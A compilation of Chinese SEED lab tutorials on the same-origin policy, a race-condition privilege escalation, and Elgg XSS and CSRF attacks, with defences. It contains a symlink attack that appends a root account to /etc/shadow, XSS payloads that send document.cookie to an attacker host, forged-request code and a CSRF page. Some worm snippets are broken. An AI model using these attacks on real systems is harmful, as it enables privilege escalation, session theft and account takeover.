>拓展：单源策略（Single Origin Policy），它是一种用于Web浏览器编程语言（如JavaScript和Ajax）的安全措施，以保护信息的保密性和完整性。同源策略能阻止网站脚本访问其他站点使用的脚本，同时也阻止它与其他站点脚本交互。


2、什么是DOM&Cookie？


DOM：文档对象模型(Document Object Module)，是处理可扩展标志语言的标准编程接口。
详细请参考DOM—百度百科


Cookie：为了辨别用户身份，进行session跟踪而存储在用户本地终端上的数据(通常经常加密)。
详细请参考Cookie—百度百科


3、什么是 XMLHttpRequest


XMLHttpRequest—百度百科


应用对象：后台与服务器交换数据；


>作用：


>1. 在不重新加载页面的情况下更新网页。


>2. 在页面已加载后从服务器请求数据。


>3. 在页面已加载后从服务器接受数据。


>4. 在后台向服务器发送数据。


4、环境搭建


在菜单中打开Terminal，启动服务：


sudo service apache2 start



>密码：dees
配置DNS：


sudo vim /etc/hosts



>按i进入编辑模式


>按Esc退出编辑


>输入wq： 退出并保存


[image: 图片描述信息]


实验内容


lab1 理解DOM和Cookie


本实验中，我们通过编写代码来了解DOM和Cookie


使用DOM API来显示html的子节点h1的内容


sudo vim /var/www/SOP/first.html



    <html> 
    <head> 
    <title>Self-modifying HTML</title> 
    <script> 
    function appendp()  //添加h1内容
    { 
    var h1_node = document.createElement("h1"); 
    h1_node.innerHTML = "Self-modifying HTML Document"; 
    document.childNodes[0].childNodes[2].appendChild(h1_node); 
    var p_node = document.createElement("p"); 
    p_node.innerHTML = "This web page illustrates how DOM API can be used to modify a web page"; 
    document.childNodes[0].childNodes[2].appendChild(p_node); 
    } 
    function gethtmlchildren()   //获取节点
    { 
    var entiredoc = document.childNodes[0]; 
    var docnodes = entiredoc.childNodes; 
    for(i=0; i<docnodes.length; i++) 
    alert(docnodes[i].nodeName); 
    } 
    </script> 
    </head> 
    <body name="bodybody" > 
    <script> appendp(); </script> 
    <input type="button" value="Display children of HTML tag" 
    onclick=gethtmlchildren() > 
    </body> 
    </html>



显示h1的标题


[image: 图片描述信息]


显示html子节点


[image: 图片描述信息]


常见JavaScript获取DOM节点


通过LiveHttpHeader抓取Cookie


测试服务器


    sudo service apache2 restart
    sudo mysqld_safe



[image: 图片描述信息]


用firefox访问www.soplabcollabtive.com


打开Tools内的的Live HTTP headers查看cookie


[image: 图片描述信息]


[image: 图片描述信息]


通过Cookie获取页面的访问量


编辑网站配置文件：


 sudo vim /etc/apache2/conf.d/lab1.conf    



[image: 图片描述信息]
重启服务器：


sudo service apache2 restart



访问：www.soplab.com/cookie.html 会提示输入你的信息，第二次进入以后就会判断你的Cookie并返回你的定制；通过查看源代码进行理解如何存储并处理Cookie


通过代码来实现“通过cookie获取页面访问次数”，这里我们新建一个count_cookie.html


sudo vim count_cookie.html



输入下面代码：


    <script type="text/javascript"> 
    if(getCookie("num")){ 
    var nn=parseInt(getCookie("num")); 
    setCookie("num",++nn); 
    }else{ 
    setCookie("num",1); 
    } 
    function getCookie(name){ 
    var str=document.cookie.split(";"); 
    for(i=0;i<str.length;i++){ 
    var str2=str[i].split("=") 
    if(str2[0].replace(/\s(.*)\s/,"$1")==name){ 
    return str2[1]; 
    } 
    } 
    } 
    function setCookie(name,value){ 
    var Days=30; 
    var exp = new Date(); 
    exp.setTime(exp.getTime() + Days*24*60*60*1000); 
    document.cookie = name + "="+ escape(value) +";expires"+ exp.toGMTString(); 
    } 
    alert("您是第"+getCookie("num")+"次访问"); 
    </script>



lab2 SOP的DOM与Cookie


本次实验是为了说明Web浏览器如何识别Web应用程序的来源，以及DOM对象和Cookie的访问限制；


查看frame以及Cookie


    sudo vim /etc/apache2/conf.d/lab1.conf



[image: 图片描述信息]


通过页面上的url地址栏访问www.soplab.com查看frame(是否同一个源，允许访问)


>同源：协议相同(ftp,http,https等等)；主机相同(www.xxx.cn/com等等)；端口相同(默认情况下都是80端口，但是有些域名绑定的不是80端口，这种情况属于不同源)；


[image: 图片描述信息]


访问Cookie(允许访问，但是这个时候Cookie为空)


[image: 图片描述信息]


从不同源的的url进行访问


查看frame(因为主机名不同，所以同源策略不允许访问)


[image: 图片描述信息]


查看Cookie(因为主机名不同，所以同源策略不允许访问)


[image: 图片描述信息]


设置不同端口进行访问


访问frame(因为端口不同，所以同源策略不允许访问)


[image: 图片描述信息]


查看Cookie(因为端口不同，所以同源策略不允许访问)


[image: 图片描述信息]


不仅仅是Cookie和frame受到SOP约束，还有历史对象


不同源：历史等框架同样受到限制


最下面两幅图是有区别的（大家好好体会一下！）


[image: 图片描述信息]


[image: 图片描述信息]


[image: 图片描述信息]


SOP XMLHttpRequest


SOP是否扩展到HTTP请求的目标URL


[image: 图片描述信息]


通过验证可以表示，同源策略没有扩展到请求http url；


描述通过XMLHttpRequest进行绕过同源策略


科普


SOP的例外


科普


作业


你需要提交一份详细的实验报告，描述你所做的和你所观察到的。


使用的LiveHTTPHeaders的截图，请提供详细资料。


您还需要提供的解释是有趣的或者令人惊讶的观察。


license


本实验所涉及的实验环境来自Syracuse SEED labs，并在此基础上为适配实验室我那工作环境进行修改，修改后的实验文档仍然遵循GUN Free Documentation License
附Syracuse SEED labs版权说明：


Copyright 
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Documentation License, Version 1.2 or any later version published by the Free Software Foundation. A copy
of the license can be found at http://www.gnu.org/licenses/fdl.html.


竞态条件漏洞实验

            在本实验中学生将利用竞态条件漏洞获得root权限。除了攻击之外，学生还将学习如何制定保护方案抵御该类攻击。


第 1 节 竞态条件漏洞实验


实验简介


竞态条件是指多个线程同时访问或者操作同一块数据，运行的结果依赖于不同线程访问数据的顺序。如果一个拥有root权限的程序存在竞态条件漏洞的话，攻击者可以通过运行一个平行线程与漏洞程序竞争，以此改变该程序的行为。


在本实验中学生将利用竞态条件漏洞获得root权限。除了攻击之外，学生还将学习如何制定保护方案抵御该类攻击。


系统用户名seed，密码dees


实验导引


1、两个可能的攻击目标


利用vulp.c中的竞态条件漏洞可以做很多事情。其中一种是利用漏洞在 /etc/passwd 和 /etc/shadow 后追加信息。这两个文件是unix做用户授权用的，攻击者有可能利用这点创建用户，甚至是超级用户。


为了了解应该在这两个文件后追加什么信息，运行adduser，并查看结果。


下面给出例子：


/etc/passwd:
-------------
smith:x:1000:1000:Joe Smith,,,:/home/smith:/bin/bash
/etc/shadow:
-------------
smith:*1*Srdssdsdi*M4sdabPasdsdsdasdsdasdY/:13450:0:99999:7:::



passwd第三列乃用户的uid，将它改为0的话，duangduang～，smith就成为root用户了。


2、创建连接


你可以通过调用c函数symlink()创建连接。因为linux不允许创建已经存在的连接，我们需要先删除旧链接，下面的C代码演示如何移除一个旧链接并使/tmp/XYZ指向/etc/passwd:


unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");



或者使用命令ln -sf 创建链接，f选项意味着覆盖原链接。ln命令的内部实现本身就包含上文的两个函数。


3、提高成功率


最重要的一步（创建指向目标文件的链接）发生在调用access函数与fopen函数之间。既然我们无法更改漏洞程序，那么唯一能做的就是运行攻击程序，希望链接操作能在那段时间内发生。如果间隙很小的话，攻击成功率就比较渺茫了。所以你需要写程序自动化你的攻击流程，反复进行攻击，为避免手动输入vulp程序。你可以使用以下命令


./vulp < FILE        (FILE是你 scanf 的文本文件)



4、检测攻击是否成功


既然普通用户无法访问shadow文件中的内容，那该如何知道文件是否被更改呢？可以看时间戳啊！而且一旦得知攻击成功就停止攻击这样做会更好一点，以下shell命令检查文件时间戳是否更改：


#!/bin/sh
#注意`不是单引号
old=`ls -l /etc/shadow`
new=`ls -l /etc/shadow`
while [ "$old" = "$new" ]
do
new=`ls -l /etc/shadow`
done
echo "STOP... The shadow file has been changed"



5、意想不到的情况


如果 /tmp/XYZ 的所有人是root的话，情况就不太妙了，因为它的sticky位是开启的，这就意味着只有它的所有人能够删除它。


如果这种糟心事儿真的发生的话，你就得以root权限手动移除/tmp/XYZ再进行攻击了（坑爹嘛这不是！）。


记住，移除存在的链接与创建新的链接关系到两次完全独立的系统调用，所以如果在移除了/tmp/XYZ之后，目标程序获得机会运行fopen(fn, "a+") 语句，他将会创建一个所有人为root的新文件。思考能够避免这种情况的方法。


6、警告！警告！


在过去，有些学生会不小心手滑清空shadow文件的内容。所以在进行实验前最好先备份一下。


实验内容


1、实验准备


由于本实验环境开启了针对竞态条件攻击的保护，所以需要先关掉保护。该选项意味着全域可写sticky位开启的文件夹是不能作为链接目标所在文件夹的。


$ sudo su
$ echo 0 > /proc/sys/fs/protected_symlinks
$ exit



2、漏洞程序


以下程序看似无害，实则包藏祸心(有漏洞！)


//vulp.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define DELAY 10000

int main()
{
    char * fn = "/tmp/XYZ";
    char buffer[60];
    FILE *fp;
    long int i;
    /* get user input */
    scanf("%50s", buffer );
    if(!access(fn, W_OK)){
        for(i=0; i < DELAY; i++){
            int a = i^2;
        }
        fp = fopen(fn, "a+");
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
    else printf("No permission \n");
}



这是一个Set-UID程序(root所有) 它将用户输入的字符串添加到文件 /tmp/XYZ 后，access()会检查用户是否具备访问资源的权限，也就是说该函数检查real id而不是effective id。


这个程序第一眼看上去没有任何问题，但是这里有一个竞态条件漏洞。由于检查（access）与访问（fopen）之间存在时间间隙，所以检查与访问的就有可能不是同一个文件，即使它们的名字相同。如果一个恶意攻击者可以创建一个/tmp/XYZ/链接指向/etc/shadow,输入的字符串就会追加到shadow文件中去。


3、实验1: 利用竞态条件漏洞


利用漏洞做到以下2点：



	重写拥有者为root的任意文件


	获取root权限




实验1.1：重写拥有者为root的任意文件
1.首先如下图创建几个文件，注意这几个文件的权限。在appendtext文件中加入你想要在rootfile里加入的任意内容。编译漏洞程序代码并将其设为SET-UID文件。设置suid只需运行以下命令：


$ sudo chmod u+s vulp



[image: 图片描述信息]
（ps1：这里更正rootfile, 请将该文件用户组改为root）
（ps2：这里的tmpfile只是一个临时文件，用法会在下文体现，这里先建一个空的tmp_file就好）


这样攻击条件就都具备了，这步之后都以普通用户的身份进行攻击。


2.创建检查时间戳的脚本check.sh，并将运行vulp的命令加入其中。


#!/bin/sh
#注意`不是单引号
old=`ls -l /home/seed/race/root_file`
new=`ls -l /home/seed/race/root_file`
while [ "$old" = "$new" ]
do
    ./vulp < append_text
    new=`ls -l /home/seed/race/root_file`
done
echo "STOP... The file has been changed"



不要忘记给脚本运行权限：


$ chmod u+x check.sh



3.创建攻击代码attacker.c并编译


int main()
{
    while(1){
        system("ln -sf /home/seed/race/tmp_file /tmp/XYZ");
        system("ln -sf /home/seed/race/root_file /tmp/XYZ");
    }
    return 0;
}



i
此时文件夹目录的情况：
[image: 图片描述信息]
（这里更正root_file, 请将该文件用户组改为root）    


4.终端里新建标签页，先运行 attacker 再运行check.sh
[image: 图片描述信息]
可以看到内容已经被写进root_file中了。（顺序倒过来的话会导致调用fopen生成一个root权限的/tmp/XYZ文件，那样攻击就失败了。）


实验1.2：获取root权限


先回顾下passwd文件与shadow文件中的格式


/etc/passwd:
-------------
smith:x:1000:1000:Joe Smith,,,:/home/smith:/bin/bash
/etc/shadow:
-------------
smith:*1*Srdssdsdi*M4sdabPasdsdsdasdsdasdY/:13450:0:99999:7:::



这里假设
账户名：clover    密码：revolc


1.生成shadow密码


$ mkpasswd -m sha-512



2.格式替换


/etc/passwd:
-------------
clover:x:0:0:Lucy,,,:/home/clover:/bin/bash
/etc/shadow:
-------------
clover:$6$D1viNru/muy$RH/3rX7T977d81qTZx1ULeURLl1ldKDHT48Nn3UMaED2ppd6eC40URnvEnLcG0uDTk6aZj0tWpSdKStDuBKqU0:13450:0:99999:7:::



接下来你懂的。
（注意输入文件的内容不能有空格或者换行，请用命令生成shadow密码。）


4、实验2: 保护机制A：重复


想要避免竞态条件的发生并不轻松，因为先检查再访问这个模式在很多程序中都是需要的。比起想办法移除漏洞，换个思路，我们可以增加更多的竞态条件，这样就能减小攻击者攻击成功的概率了。该机制的基础思想是重复access和fopen函数的次数。


请使用策略修改漏洞程序，重复你的攻击。


代码如下：


#include <stdio.h>
#include <unistd.h>
#define DELAY 10000

int main()
{
    char * fn = "/tmp/XYZ";
    char buffer[60];
    FILE *fp;
    long int i;
    /* get user input */
    scanf("%50s", buffer );
    if(!access(fn, W_OK)){
        if(!access(fn, W_OK)){
            /*嵌套n层*/
            fp = fopen(fn, "a+");
            fwrite("\n", sizeof(char), 1, fp);
            fwrite(buffer, sizeof(char), strlen(buffer), fp);
            fclose(fp);
        }
        else printf("No permission \n");
    }
    else printf("No permission \n");
}



5、实验3: 保护机制B：最小权限原则


该程序的根本问题就在于它违反了最小权限原则，程序员认识到运行这个程序的用户可能权利过大，所以引入access函数进行限制，但也同时引入了竞态条件的隐患。


更好的方法是使用seteuid系统调用暂时禁止root权限，当需要时再恢复。请以此法修复漏洞，再重复之前的攻击，观察结果并解释。


代码如下：


    #include <stdio.h>
    #include <unistd.h>
    #define DELAY 10000

    int main()
    {
        char * fn = "/tmp/XYZ";
        char buffer[60];
        FILE *fp;
        long int i;
        /* get user input */
        scanf("%50s", buffer );

        uid_t euid = geteuid(); 
        seteuid(getuid());

        for (i=0; i < DELAY; i++){
                int a = i^2;
        }

        if (fp = fopen(fn, "a+")){
            fwrite("\n", sizeof(char), 1, fp);
            fwrite(buffer, sizeof(char), strlen(buffer), fp);
            fclose(fp);
        }
        else printf("No permission \n");

        seteuid(euid);
    }



6、实验4: 保护机制C：Ubuntu内置方案


在本节实验中，你只需要重新开启保护机制，观察攻击结果并回答以下几个问题就可以了。



	为什么该保护机制其作用了？



	这是一个优秀的保护机制么？为什么是为什么不是？



	该机制有什么限制的地方？


$ echo 1 > /proc/sys/fs/protected_symlinks





[image: 图片描述信息]


四、 练习


按要求完成实验内容并回答每节实验给出的问题。


License


本课程所涉及的实验来自Syracuse SEED labs，并在此基础上为适配实验楼网站环境进行修改，修改后的实验文档仍然遵循GNU Free Documentation License。
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Elgg系统跨站脚本攻击实验

            跨站脚本是一种典型的出现在web应用程序中的计算机安全漏洞。这种漏洞使攻击者注入恶意代码到受害者的web浏览器成为可能。本实验中，我们将对一个有漏洞的Web系统进行跨站脚本攻击。


第 1 节 Elgg系统跨站脚本攻击实验


实验描述


跨站点脚本(XSS)是一种常见较弱的web应用程序漏洞,攻击者使用这个漏洞注入恶意代码(例如JavaScript)来攻击受害者的web浏览器。


使用这个恶意代码,攻击者可以窃取受害者的凭证,如cookies的访问控制政策(ie同源策略)受雇于浏览器可以保护这些凭证绕过XSS漏洞利用。这种漏洞可能会导致大规模的攻击。


预备知识


什么是XSS


XSS(Cross Site Scripting)：跨站脚本攻击，它与SQL注入攻击类似，SQL注入攻击中以SQL语句作为用户输入，从而达到查询/修改/删除数据的目的，而在xss攻击中，通过插入恶意脚本，实现对用户游览器的控制。


XSS分类


主体分为2类：


>1. 来自内部：主要利用程序自身的漏洞，构造跨站语句。


>2. 来自外部：自己构造XSS跨站漏洞页面，然后诱惑管理员来点，从而获得我们想要的信息。


科普


XSS危害


>1. 盗取各类用户账户，如机器登录账号、用户网银账号、各类管理员账号。


>2. 控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力。


>3. 盗窃企业重要的具有商业价值的资料。


>4. 非法转账。


>5. 强制发送电子邮件。


>6. 控制受害者机器向其他网站发起攻击。


什么是Cookie


某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据（通常经过加密）。


环境搭建


配置DNS：


    sudo vim /etc/hosts



>密码：dees


vim文件编辑：(详细请大家学习Linux的课程)
>按 i 进入编辑模式


>    按 Esc 退出编辑模式


>    使用 :wq 退出vim编辑器


[image: 图片描述信息]


配置网站文件：


    sudo vim /etc/apache2/conf.d/lab.conf



> 密码：dees


[image: 图片描述信息]


启动数据库：


    sudo mysqld_safe



启动apcahe服务：


    sudo service apache2 start



> 密码：dees


访问测试


[image: 图片描述信息]


 user    UserName    Password
Admin   admin       seedelgg
Alice   alice       seedalice
Boby    boby        seedboby    
Charlie charlie     seedcharlie 
Samy    samy        seedsamy



实验内容


lab1 通过弹窗显示恶意信息


实验类容：登入以上所给的一个用户，在个人资料页面编辑profile信息。写入恶意javascript代码。


step1:编辑自己的profile信息


[image: 图片描述信息]


step2:随便填点信息后插入js弹窗代码，然后点击save按钮保存信息


[image: 图片描述信息]


代码如下


    <script>alert('This is xss');</script>



访问测试：


[image: 图片描述信息]


lab2 显示Cookie


弹框仅仅是为了验证是否存在xss漏洞，并没有什么利用价值，而JavaScript中可以用函数来获取cookie，接下来就是使用JavaScript获取cookie来进一步利用。


还是刚刚那个页面，只不过我们的javascript代码变成了


    <script>document.write(document.cookie);</script>



[image: 图片描述信息]


访问测试：


[image: 图片描述信息]


红色圆圈内就是该用户的cookie。


为了更直观我们将上面的javascript代码替换成：


    <script>alert(document.write);</script>



效果如下：


[image: 图片描述信息]


弹出的这些字符就是你当前登录用户的cookie。


lab3 窃取受害者的Cookie


lab2的情况局限于获取自己的Cookie，当然我们不需要自己的Cookie，我们需要在不登陆的情况下，获取其他用户的Cookie，这样我们就可以使用cookie直接登录别人的账号。


要窃取别人的cookie，首先必须具备一个能接收cookie的环境，然后通过javascript代码把别人的cookie通过http请求发送到所搭的环境。


还是在profiles页面下编辑javascript代码


    <script>document.write('<img src=http://attacker_IP_address:5555?c=' +escape(document.cookie) + '> ');</script>



下面我们将来创造一个这样的环境。


step1：在网站目录下面创建一个hack.php的文件:


sudo vim /var/www/XSS/elgg/hack.php



hack.php文件的内容如下图所示。


[image: 图片描述信息]


step2：创建一个cookie.txt,用它来cookie。并且这个文件要有写入权限步骤如下图所示.


[image: 图片描述信息]


step3:在编辑profiles页面插入以下js代码，保存后访问用户资料页面。


    <script>document.write('<img src=http://www.xsslabelgg.com/hack.php?c=' + escape(document.cookie) + '>');</script>



[image: 图片描述信息]


step4:查看cookie.txt文件，下图红色圆圈即为接收到的cookie.


[image: 图片描述信息]


lab4 使用获取的Cookie进行会话劫持


当获取了受害者的Cookie以后，我们可以干嘛呢？可以利用Cookie登录用户，也就是会话劫持。


会话劫持：窃取受害者的cookie后,攻击者可以仿造受害者向服务器发送请求,包括代表受害者增删好友，删去公司职位信息等等。从本质上讲, 就是劫持受害者的会话。


这个实验我们将用到firefox的菜单栏中tools中的LiveHTTPHeaders工具。


首先，我们查看受害者添加好友时候的请求：
我们登录Samy的账号来添加Boby来查看添加好友的请求


step1:


[image: 图片描述信息]


如上图，登陆后单击‘more’中的‘members’来添加好友，然后点击一个不是好友的用户来添加好友。


[image: 图片描述信息]


点击这里添加好友。


step2:


[image: 图片描述信息]


step2中的截图即为请求信息。


当攻击者知道了他的请求以后，就可以编写一个Java程序发送相同的HTTP请求达到创建项目的目的，当然还可以进行其他的请求：


HTTP访问请求：
>1. 打开一个连接到web服务器。


>2. 设置必要的HTTP头信息。


>3. 发送请求到web服务器。


>4. 得到来自web服务器的响应。


      import java.io.*;
    import java.net.*;


    public class HTTPSimpleForge {

    public static void main(String[] args) throws IOException {
    try {
    int responseCode;
    InputStream responseIn=null;
    String requestDetails = "&__elgg_ts=<<correct_elgg_ts_value>>
    &__elgg_token=<<correct_elgg_token_value>>";
    // URL to be forged.
    URL url = new URL ("http://www.xsslabelgg.com/action/friends/add?
    friend=<<friend_user_guid>>"+requestDetails);
    // URLConnection instance is created to further parameterize a
    // resource request past what the state members of URL instance
    // can represent.
    HttpURLConnection urlConn = (HttpURLConnection) url.openConnection();
    if (urlConn instanceof HttpURLConnection) {
    urlConn.setConnectTimeout(60000);
    urlConn.setReadTimeout(90000);
    }
    // addRequestProperty method is used to add HTTP Header Information.
    // Here we add User-Agent HTTP header to the forged HTTP packet.
    // Add other necessary HTTP Headers yourself. Cookies should be stolen
    // using the method in task3.
    urlConn.addRequestProperty("User-agent","Sun JDK 1.6");
    //HTTP Post Data which includes the information to be sent to the server.
    String data = "name=...&guid=..";
    // DoOutput flag of URL Connection should be set to true
    // to send HTTP POST message.
    urlConn.setDoOutput(true);
    // OutputStreamWriter is used to write the HTTP POST data
    // to the url connection.
    OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
    wr.write(data);
    wr.flush();
    // HttpURLConnection a subclass of URLConnection is returned by
    // url.openConnection() since the url is an http request.
    if (urlConn instanceof HttpURLConnection) {
    HttpURLConnection httpConn = (HttpURLConnection) urlConn;
    // Contacts the web server and gets the status code from
    // HTTP Response message.
    responseCode = httpConn.getResponseCode();
    System.out.println("Response Code = " + responseCode);
    // HTTP status code HTTP_OK means the response was
    // received sucessfully.
    if (responseCode == HttpURLConnection.HTTP_OK)
    // Get the input stream from url connection object.
    responseIn = urlConn.getInputStream();
    // Create an instance for BufferedReader
    // to read the response line by line.
    BufferedReader buf_inp = new BufferedReader(
    new InputStreamReader(responseIn));
    String inputLine;
    while((inputLine = buf_inp.readLine())!=null) {
    System.out.println(inputLine);
    }
    }
    } catch (MalformedURLException e) {
    e.printStackTrace();
    }
    } 
    }



lab5 XSS蠕虫


xss蠕虫 cross site scripting worm


XSS蠕虫是一种跨站脚本病毒， 通常由脚本语言Javascript写成， 它借由网站访问者传播。由于XSS蠕虫基于浏览器而不是操作系统, 取决于其依赖网站的规模, 它可以在短时间内达到对巨大数量的计算机感染。


XSS蠕虫的危害


蠕虫可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施DDoS攻击等等。


XSS蠕虫的学习


首先我么需要理解一下Ajax框架。框架代码如下：


    var Ajax=null;
    // 构建http请求的头信息
    Ajax=new XMLHttpRequest();
    Ajax.open("POST","http://www.xsslabelgg.com/action/profile/edit",true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Keep-Alive","300");
    Ajax.setRequestHeader("Connection","keep-alive");
    Ajax.setRequestHeader("Cookie",document.cookie);
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    // 构建http请求内容。 内容的格式可以从浏览器插件LiveHTTPHeaders中知道长什么样
    var content="name=...&company=&..."; // 这是你需要填写的内容
    // 发送http POST请求。
    Ajax.send(content);



我们创建一个test.js的文件；这个文件中是上面的Ajax框架：


 sudo vim test.js



[image: 图片描述信息]


然后我们在创建一个test1.js的文件，写一个xss蠕虫代码：


 sudo vim test1.js



[image: 图片描述信息]


这里是代码：


    var on=new Ajax.PeriodicalUpdater("edit",
    "http://www.xsslabelgg.com/action/profile/edit",
    //定义一个新的Ajax.PeriodicalUpdater
    {method:’get’,onSuccess:function(transport){alert(transport.responseText);},
    frequence:1000}
    //请求方式为get，频率为1000



上面的蠕虫代码不能够进行自动传播，这样达不到我们的需求；我们需要编写一个可以自动传播的xss蠕虫病毒，下面这段代码是蠕虫可以自动传播：


    <script id=worm>//定义js的id为worm
    var strCode = document.getElementById("worm");
    //找到元素id
    alert(strCode.innerHTML);
    </script>






代码中使用循环体，从而达到自动传播的目的。


在实验机中这样创建xss蠕虫：


sudo vim xss_worm.js



[image: 图片描述信息]


Code:


    var strCode = document.getElementByld("worm");
    alert(strCode.innerHTML);



然后用一个html文件调用蠕虫：


sudo vim worm.html



[image: 图片描述信息]


Code:


<script type='text/javascript' src='http://www.xsslabelgg.com/xss_worm.js'></script>



科普


> XSS worm攻击原理剖析http://book.51cto.com/art/201311/419361.htm


> XSS worm剖析 http://book.51cto.com/art/201311/419362.htm


> XSS worm案例 http://www.wooyun.org/bugs/wooyun-2013-017701


lab6 XSS防御


在elgg应用中有一个防御xss的机制叫做HTMLawed 1.8，下面我们将去打开这个机制并观察变化：


step1:登录管理员帐户。账号为admin 密码为seedelgg。然后打开Administration菜单。


[image: 图片描述信息]


step2:打开在右边的Configure菜单栏下选择Plugins链接。


[image: 图片描述信息]


step3:打开下拉菜单，选择Security and Spam


[image: 图片描述信息]


step4:看见HTMLawed 1.8了 我们激活它吧。


[image: 图片描述信息]


测试:


[image: 图片描述信息]


可以看见现在并没有弹框了，并在原来的地方显示了本来的js代码被HTMLawed 1.8应用过滤后的字符。


elgg还有一个防止xss的机制就是进入网页源文件去让htmlspecials函数起作用。


输入命令 vim /var/www/XSS/elgg/views/default/output/tag.php  找到 htmlspecialchars


[image: 图片描述信息]


把圆圈内注释的改成下图：


[image: 图片描述信息]


然后保存文件就能防止xss了；但是利用这个方法要修改同目录下的tag.php、 friendlytime.php、 url.php、 dropdown.php、email.php 和 confirmlink.php文件同上面的方法一样。


科普


如果你想更多的了解相关的XSS知识,可以去阅读《XSS跨站脚本攻击剖析与防御》。


作业


你需要提交一份详细的实验报告，描述你所做的或你所观察到的。


使用LiveHTTPHeaders或Wireshark的截图，请提供详细的过程。


你还要对所产生的有趣的实验现象做出解释。


版权声明
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Elgg 系统 CSRF 攻击实验

            CSRF 攻击可用于盗取身份，造成盗号、虚拟货币转让、购买商品等跟人隐私及财产安全的威胁。 本实验将对一个有漏洞的Web系统进行 CSRF 攻击。


第 1 节 Elgg 系统 CSRF 攻击实验


实验介绍


本次实验主要用于帮助学生理解跨站请求伪造（CSRF或XSRF）攻击。


CSRF攻击涉及用户受害者,受信任的网站,恶意网站。受害者与受信任的站点和用户拥有一个活跃的会话同时访问恶意网站。恶意网站注入一个HTTP请求为受信任的站点到受害者用户会话牺牲其完整性。


实验背景


CSRF 攻击总是涉及到三个角色:信赖的网站（Collabtive）、受害者的 session 或 cookie 以及一个恶意网站。受害者会同时访问恶意网站与受信任的站点会话的时候。攻击包括一系列步骤，如下:


>1. 受害者用户使用他/她的用户名和密码登录到可信站点,从而创建一个新的会话。


>2. 受信任站点存储受害者会话的 cookie 或 session 在受害者用户的 web 浏览器端。


>3. 受害者用户在不退出信任网站时就去访问恶意网站。


>4. 恶意网站的网页发送一个请求到受害者的受信任的站点用户的浏览器。


>5. web 浏览器将自动连接会话 cookie，因为它是恶意的要求针对可信站点。


>6. 受信任的站点如果受到 CSRF 攻击，攻击者的一些恶意的请求会被攻击者发送给信任站点。


恶意网站可以建立HTTP GET或POST请求到受信任的站点。一些HTML标签,比如img iframe,框架,形式没有限制的URL,可以在他们的使用属性中。img,iframe,框架可用于构造GET请求。HTML表单标签可用于构造POST请求。构造GET请求是相对容易的,因为它甚至不需要JavaScript的帮助;构造POST请求需要JavaScript。因为Collabtive只针对后者,本实验室的任务将只涉及HTTP POST请求。


预备知识：什么是CSRF


百度百科--CSRF


CSRF(Cross-site request forgery)：中文名称：跨站请求伪造，也被称为：one click attack/session riding，缩写为：CSRF/XSRF；


作用：攻击者盗用了你的身份，以你的名义发送恶意请求；


危害：造成的危害包括：个人隐私泄露以及财产安全，以受害者的名义发送邮件、消息、盗取账号，甚至于购买商品，虚拟货币转账等。


环境搭建


启动 mysql 服务器：


    sudo mysqld_safe



> 密码：dees


启动服务：


    sudo service apache2 start 



>密码：dees


配置DNS解析：


    sudo vim /etc/hosts



> 密码：dees    


>  vim文件编辑：(详细请大家学习Linux的课程)


> 按 i 进入编辑模式


> 按 Esc 退出编辑模式


> 使用 :wq 退出vim编辑器


[image: 图片描述信息]


网站配置：


    sudo vim /etc/apache2/conf.d/lab.conf    



>密码：dees


[image: 图片描述信息]


重启服务：


    sudo service apache2 restart



> 密码：dees


打开firefox浏览器，访问测试：


[image: 图片描述信息]


[image: 图片描述信息]


登陆账户：


user    UserName    Password
Admin   admin       seedelgg
Alice   alice       seedalice
Boby    boby        seedboby    
Charlie charlie     seedcharlie 
Samy    samy        seedsamy



实验任务


lab1 添加好友


实验内容：两个用户，Alice与Boby。Boby想与Alice成为好友，但是Alice拒绝添加Boby；这时Boby需要发送一个URL给Alice，当Alice访问这个URL后，Boby就自动添加到好友列表中（注意Alice不用点击任何东西，只要访问URL就自动添加好友）。


首先我们要知道如何添加用户：


> 使用 admin seedelgg 进行登录，然后添加 boby 用户；


[image: 图片描述信息]


[image: 图片描述信息]


然后我们需要知道，添加用户时是使用的什么请求；使用 LiveHttpHeader 抓包：


>LiveHttpHeader 使用指南：


>    点击 Firefox 菜单栏中 Tools；


>    点击 LiveHttpHeader


>    勾选 Capture


>    点击 add friend


[image: 图片描述信息]


分析抓取到的数据包：


[image: 图片描述信息]


添加 boby 用户的链接,例如：


http://www.csrflabelgg.com/action/friends/add?friend=40&__elgg_ts=1429794173&__elgg_token=194fee1a60560fd22f06943948fd9ee1



这样我们就可以构造一个页面，让 Alice 用户访问以后，就会添加 boby 为好友。


    sudo vim /var/www/CSRF/Attacker/hack.html



输入下面代码：


    <html>
    <img src="http://www.csrflabelgg.com/action/friends/add?friend=40&__elgg_ts=1429794173&__elgg_token=194fee1a60560fd22f06943948fd9ee1">
    </html>



Alice 用户访问前：


[image: 图片描述信息]


Alice 用户访问：www.csrflabattacker.com/hack.html


[image: 图片描述信息]


Alice 用户访问后：


[image: 图片描述信息]


lab2 修改用户信息


实验内容：Alice用户有一个自己的描述，她希望Boby也编辑自己的描述，但是Boby用户拒绝了，这时Alice想通过发送一个 url 让Boby用户访问后，自动让Boby自动添加自己的描述。


首先我们需要知道编辑自己的描述需要的请求,同样使用LiveHttpHeader抓包：


使用 alice seedalice 登录，点击左上角的头像；进入用户界面，点击 Edit Profile 可以编辑自己的描述；


>    打开Firefox菜单栏的Tools中的LiveHttpHeader
>    勾选Capture
>    编辑用户资料，点击sava；


[image: 图片描述信息]
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这里是抓取到的数据包：


    POST /action/profile/edit HTTP/1.1
    Host: www.csrflabelgg.com
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://www.csrflabelgg.com/profile/alice/edit
    Cookie: Elgg=ks91qtcsis87selokqauqt96p1
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 569
